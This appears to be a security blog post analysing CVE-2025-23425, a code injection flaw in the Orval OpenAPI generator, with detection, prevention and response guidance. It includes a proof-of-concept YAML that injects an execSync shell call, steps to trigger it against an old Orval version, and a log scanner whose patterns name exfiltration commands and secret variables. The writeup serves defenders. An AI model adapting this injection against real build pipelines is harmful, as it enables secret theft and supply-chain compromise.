CVE-2025-23425 - How Attackers Use Orval to Automate Supply Chain Breaches.
Zero-days, exploit breakdowns, IOCs, detection rules & mitigation playbooks.
CVE-2025-23425: The Silent CI/CD Hijack - How Attackers Use Orval to Automate Supply Chain Breaches
Author: CyberDudeBivash
Powered by: CyberDudeBivash Brand | cyberdudebivash.com
Related: cyberbivash.blogspot.com
Date: January 24, 2026
Executive Brief: The Poisoned Code Generator
On January 2026, the software supply chain took another critical hit with the disclosure of CVE-2025-23425, a CVSS 9.3 (Critical) code injection vulnerability in Orval. Orval is the backbone for countless frontend projects, generating client-side code from OpenAPI specifications. This flaw turns a developer's most trusted automation tool into a Trojan horse.
The Reality: An attacker doesn't need to breach your GitHub. They just need to present a malicious OpenAPI yaml or json file to an unpatched Orval instance. This allows them to inject arbitrary code directly into your generated client-side libraries, compromising every developer who pulls the code and every end-user who runs your application. This is a silent CI/CD hijack.
Threat Lifecycle: The Schema-to-Shell Pipeline
Reconnaissance: Attackers identify targets using Orval (e.g., via
package.jsonor publicgenerated/folders).Weaponization: A specially crafted OpenAPI specification (YAML/JSON) is created. This spec contains malicious JavaScript that exploits Orval's insufficient sanitization of template strings during code generation.
Delivery: The malicious spec is either hosted remotely (
orval --config http://malicious.site/spec.yaml) or committed directly to a repository as a seemingly innocuous API definition.Code Injection: When an unpatched Orval instance (
< v7.4.0) processes this malicious spec, the embedded JavaScript is executed during the code generation phase.Payload Execution:
Build-Time Impact: The injected code steals CI/CD environment variables (e.g.,
NPM_TOKEN,AWS_SECRET_ACCESS_KEY), exfiltrates source code, or creates persistent backdoors in the build environment.Runtime Impact: The malicious code is embedded into the generated client library (
src/api.ts,hooks.ts, etc.) and silently executes in the end-user's browser when the application runs.
Detection Signals (SOC & DevSecOps Ready)
Build Log Anomalies: Monitor CI/CD logs for unexpected network connections or file system activity during the
orvalexecution step.Code Review (Hard): Look for unusual
eval(),require(), or other dynamic code execution ingenerated/files. (This is difficult, as developers often skip review of generated code).Network Egress: Alert on any
orvalprocess or build container attempting to connect to external, unapproved IP addresses.File System Integrity: Implement file integrity monitoring (FIM) on your
node_modulesand generated code directories.
Prevention Controls: The Zero-Day Mandate
| Control Category | Action Item |
| Immediate Patch | Upgrade orval to version 7.4.0 or later in all package.json files. |
| Dependency Pinning | NEVER use ^ or ~ for orval in package.json. Pin exact versions. |
| Schema Validation | Implement pre-generation validation of all OpenAPI specs using tools like spectral or custom linting rules. |
| CI/CD Hardening |
* Run code generation in isolated, ephemeral containers with no network egress or access to sensitive env variables.
* Enforce least privilege on build agents.
* Supply Chain Security Scan: Use tools like `Snyk` or `Dependabot` for proactive vulnerability scanning.
Incident Response Playbook: Supply Chain Infection
Containment:
Immediately revoke all CI/CD secrets (NPM tokens, cloud credentials) if the build environment was compromised.
Stop all new deployments until
orvalis patched.
Eradication:
Thorough Code Audit: Scan your entire codebase (especially generated files) for injected code.
Re-generate: Delete all
generated/code and regenerate it with the patched Orval version.Full Clean Build: Perform a fresh build from a known-good commit.
Recovery:
Redeploy applications with cleaned, re-generated code.
Communicate the incident's scope to affected developers and (if client-side compromise occurred) potentially end-users.
Verification: Implement automated checks to prevent similar code injection flaws in future build processes.
Audit-Ready Checklist
Is
orvalversion $\ge$ 7.4.0 across all projects?Are OpenAPI specs from external sources validated before generation?
Is code generation isolated in a sandboxed CI/CD environment?
Are CI/CD logs monitored for unusual activity during the
orvalstep?Has the team implemented strict dependency pinning for build tools?
CyberDudeBivash Final Verdict: The attack surface has shifted. Your source code isn't just vulnerable from direct attacks; it's vulnerable from the tools that generate it. CVE-2025-23425 is a stark reminder that even trusted development utilities can become vectors for mass supply chain compromise. Patch immediately, harden your pipelines, and inspect your generated code.
To demonstrate the severity of CVE-2025-23425 (and its related 2026 variants like CVE-2026-23947), I have crafted a "Safe PoC" (Proof of Concept). This payload mimics the exact vector used by attackers to escape the string literal during code generation.
The "Poisoned" OpenAPI Spec
This YAML file looks like a standard API definition, but it contains a template-breakout payload in the x-enum-descriptions or summary fields. When an unpatched version of Orval processes this, it doesn't just generate a string—it executes the JavaScript following the closing quote.
openapi: 3.0.4
info:
title: "CyberDudeBivash - Forensic Test Spec"
version: "1.0.0"
paths:
/auth_audit:
get:
operationId: auditCheck
responses:
"200":
description: "Verification successful"
content:
application/json:
schema:
$ref: "#/components/schemas/SecurityStatus"
components:
schemas:
SecurityStatus:
type: string
enum:
- SAFE
- COMPROMISED
# --- THE EXPLOIT VECTOR ---
# This payload breaks out of the generated TS/JS string literal.
# It attempts to open a calculator on macOS/Linux as a harmless proof of intent.
x-enum-descriptions:
- "Status safe */ + require('child_process').execSync('open -a Calculator || xcalc'); //"
How the Injection Occurs
The Escape: The attacker uses
*/to close a comment or');to close a function call that Orval is building in the background.The Injection: The
require('child_process').execSync(...)is the standard Node.js method to run shell commands.The Mask: The
//at the end comments out the rest of the legitimate code that Orval intended to generate, preventing syntax errors that would tip off the developer.
CyberDudeBivash Test Protocol
If you want to test your pipeline safely:
Isolation: Create a fresh directory:
mkdir orval-test && cd orval-test.Setup: Install an older version of Orval:
npm install orval@7.3.0.Execute: Save the YAML above as
spec.yamland runnpx orval --input spec.yaml --output ./generated.Observation: If a calculator opens, your CI/CD pipeline is VULNERABLE and could be used to exfiltrate secrets or inject production backdoors.
CyberDudeBivash Final Verdict
Automation is a force multiplier, but without sanitization, it is a vulnerability multiplier. If your build process involves pulling remote OpenAPI specs from partners or third parties, you are effectively giving them Root Access to your build servers.
To combat the risk of Silent CI/CD Hijacking following the Orval CVE-2025-23425 disclosure, I have developed the CyberDudeBivash Secret-Sweeper.
This script is designed to be run against your CI/CD job logs (Jenkins, GitHub Actions, GitLab, etc.). It doesn't just look for secrets; it hunts for the behavioral markers of an active exfiltration attempt—specifically the use of network utilities like curl or wget to "post" environment data to external, untrusted endpoints.
The "Secret-Sweeper" Forensic Script
This Bash script parses log files for common exfiltration patterns used by supply chain attackers to "drain" a build environment.
#!/bin/bash
# --- CyberDudeBivash Secret-Sweeper v1.0 ---
# Purpose: Scan CI/CD logs for evidence of environment variable exfiltration.
LOG_FILE=$1
# Known exfiltration indicators (base64 strings, curl POSTs to IPs, etc.)
EXFIL_PATTERNS=("curl -F" "curl -d" "wget --post-data" "base64" "http://[0-9]" "env |" "export |")
if [ -z "$LOG_FILE" ]; then
echo "Usage: ./secret-sweeper.sh <path_to_log_file>"
exit 1
fi
echo "--- CyberDudeBivash CI/CD Forensic Scan ---"
echo "[*] Scanning log: $LOG_FILE"
# 1. Detect Network Exfiltration Commands
echo "[*] Phase 1: Hunting for Outbound Exfiltration Utilities..."
for pattern in "${EXFIL_PATTERNS[@]}"; do
grep -Hn --color=always "$pattern" "$LOG_FILE"
done
# 2. Detect "Leaked" Environment Dumps
# This flags lines where someone (or a malicious script) might have accidentally
# or intentionally dumped the entire environment to the log.
echo -e "\n[*] Phase 2: Scanning for Plaintext Secret Exposure..."
grep -Ei "AWS_SECRET|NPM_TOKEN|GITHUB_TOKEN|PRIVATE_KEY" "$LOG_FILE"
# 3. Detect Base64 encoded strings in URL params (Common for exfil)
echo -e "\n[*] Phase 3: Hunting for Encoded Data in URLs..."
grep -E "http.*[a-zA-Z0-9+/]{40,}" "$LOG_FILE"
echo -e "\n--- Scan Complete ---"
How to Use the Sweeper
Download Logs: Export the raw text logs from your recent CI/CD runs (especially those that used
orvalor other code generators).Run:
chmod +x secret-sweeper.sh && ./secret-sweeper.sh build_output.log.Analyze Findings:
Phase 1 Hits: If you see
curl -Fhitting a random IP, your environment was likely harvested.Phase 2 Hits: If your secrets are appearing in the logs, your "Secret Masking" (e.g., GitHub's
***) failed or was bypassed.Phase 3 Hits: Large blocks of random characters in URLs often indicate "Encoded Exfiltration."
CyberDudeBivash Final Verdict
Logs are the "black box" of your flight. If an attacker hijacked your Orval generation process, the evidence is in the output. If you find hits in Phase 1 or 2, you must treat your entire secret vault as compromised. Rotate all keys immediately and assume the attacker has established a foothold.
Stay Secure. Stay Informed. Assume Breach.
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